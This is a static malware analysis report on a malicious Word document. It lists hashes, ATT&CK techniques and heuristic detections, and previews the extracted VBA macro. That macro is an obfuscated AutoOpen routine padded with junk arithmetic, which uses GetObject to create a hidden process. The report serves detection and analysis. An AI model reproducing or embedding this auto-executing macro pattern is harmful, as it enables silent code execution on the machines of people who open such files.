Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4e18fa50dbc36f5f…

MALICIOUS

Office (OLE)

162.9 KB Created: 2019-03-26 13:51:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: c423e42fe2cc9734971f2be3f268bb69 SHA-1: ae58cc368ee2a7926dbdfeea7ba0ad3bbced58ba SHA-256: 4e18fa50dbc36f5fd21c06da558ae4d85c968bbb8a1030b071c9e915202ea03b
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The 'autoopen' subroutine and the use of GetObject are strong indicators of malicious intent, commonly used to execute arbitrary code or download additional payloads. The presence of legacy WordBasic markers further supports this. The macro's obfuscated nature and lack of clear URLs prevent a more specific family attribution.

Heuristics 7

  • ClamAV: Doc.Malware.Dslb-6913532-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Dslb-6913532-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14912 bytes
SHA-256: f42c024dfd456b4a02cefab205df09b3d7193f2eb7b18ebcc40abcc01df3b32e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "bQAAZU"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "cA1AUc"
Attribute VB_Base = "0{0824E3C0-F167-4ADA-B2E5-3044AAE26B50}{F7EE5D34-6E55-4627-8848-85D30D64B202}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "jokUAGwk"
Attribute VB_Base = "0{17345765-7C45-4F98-98EF-B262DB51AE8B}{E4953264-A526-4F89-9CE9-8C9E7E192E85}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "RGUAA_UB"
Sub autoopen()
On Error Resume Next
         Select Case FAcDDA
Case 250526332
      uAwAAA = WA1AAACA / 184449737 / _
KA4QBXUA - CInt(wA_A1ZAo + CInt(537607546)) + _
(640026050 * CLng(405819396))
      HAUA_A = 35629976 * OADw1U
      NkAo_AB = 510223455 - 345027111 + _
843614596 - hAADcAAA / iBXQDABA - Tan(184980377)
End Select
         Select Case wAADGUBA
Case 187173822
      mUCABB = LcABAD / 960711988 / _
WxAkQA4 - CInt(RAAcXQ + CInt(769201175)) + _
(64686978 * CLng(872861532))
      WQBAAAAQ = 691068926 * lAxoABCc
      qAZBBAA = 923286993 - 799323542 + _
367749577 - MkGAoXA / mADDxc - Tan(312608719)
End Select
Set ZBAG1AQ = GetObject(cA1AUc.iDAwAAB + jokUAGwk.nA_C1D + cA1AUc.iDAwAAB)
         Select Case T_cXDXBA
Case 173379796
      KB1UDkCA = T_AcAD_ / 335050708 / _
sAAADQ - CInt(MC1QQA + CInt(618367836)) + _
(211583172 * CLng(304864153))
      c1w_1x = 992512770 * RAU_kG
      VCAAAAUB = 118120437 - 595493069 + _
960866305 - bAxkQAA / QDw1oA - Tan(581880435)
End Select
         Select Case aAUQQUoA
Case 893149038
      FwDAUACQ = SUDZAQ / 291043682 / _
rw1AwcCA - CInt(vAAAUQw + CInt(4335779)) + _
(625428921 * CLng(510376421))
      GA4AxA = 292411574 * ikAAUA1B
      mo1AAAAC = 968994281 - 697120209 + _
776755836 - cUDGAA / GABAAcA - Tan(698389411)
End Select
         Select Case D4ADA4AA
Case 123114424
      bAADAZA = XU_wBCA / 809327861 / _
vkABXA - CInt(jADGkC + CInt(380083917)) + _
(691765123 * CLng(860630075))
      RC4UxAGk = 706746492 * jkBBQ1U
      W1wkAUQ1 = 510788149 - 839348828 + _
893397541 - E4DAUAAQ / bwwcAA - Tan(189463134)
End Select
ZBAG1AQ.ShowWindow = 202821 - 202821
         Select Case FwwBBcG
Case 921124079
      Ocx1AC = PA1AxU / 410061604 / _
MQwQ1c - CInt(hBkAA4B_ + CInt(324812432)) + _
(778098624 * CLng(352444613))
      WUcA1CAD = 197549812 * iGADxA
      iBZUcZ = 493277691 - 310917716 + _
717929138 - fAAQAAAA / PD_AcA - Tan(110414188)
End Select
         Select Case nAkAQA
Case 313276504
      SAAAQA = MkUACCDD / 3635544 / _
pAAAADD_ - CInt(C4A1UB + CInt(817039379)) + _
(105211576 * CLng(188494236))
      SA_ACQ = 807787936 * rQ_AXA1A
      kAUCXZ = 449206340 - 981328580 + _
240631319 - wAD4Ax4 / PAAAXZAA - Tan(92674023)
End Select
         Select Case FZGUox
Case 573375672
      jD1kcU = jo4AUD / 295944961 / _
CAA_DABQ - CInt(EUG41DC + CInt(820752257)) + _
(796583098 * CLng(643792896))
      WAUAAA_U = 409212440 * AcQAA1k
      ICcoxA1 = 658925874 - 760623392 + _
281558789 - lD4_Q_ / DAAACAA - Tan(766534534)
End Select
GetObject(cA1AUc.iDAwAAB + jokUAGwk.jwQB_UUD + cA1AUc.iDAwAAB) _
.Create cA1AUc.iDAwAAB + jokUAGwk.H4DDx_ + cA1AUc.iDAwAAB + jokUAGwk.cAZUwAxQ + cA1AUc.iDAwAAB + cA1AUc.iDAwAAB + jokUAGwk.SAGAAAcA + cA1AUc.iDAwAAB + cA1AUc.iDAwAAB + jokUAGwk.H1AAxC + cA1AUc.iDAwAAB + jokUAGwk.scA_AAA_ + cA1AUc.iDAwAAB, jQADXAc, ZBAG1AQ, cA1AUc.iDAwAAB
         Select Case O_AccAA
Case 65323087
      rUGwQkA = fDADw4 / 228721386 / _
oAcAkk - CInt(OXU4cBD + CInt(94164079)) + _
(795705252 * CLng(221281201))
      oUADABUB = 99451
... (truncated)

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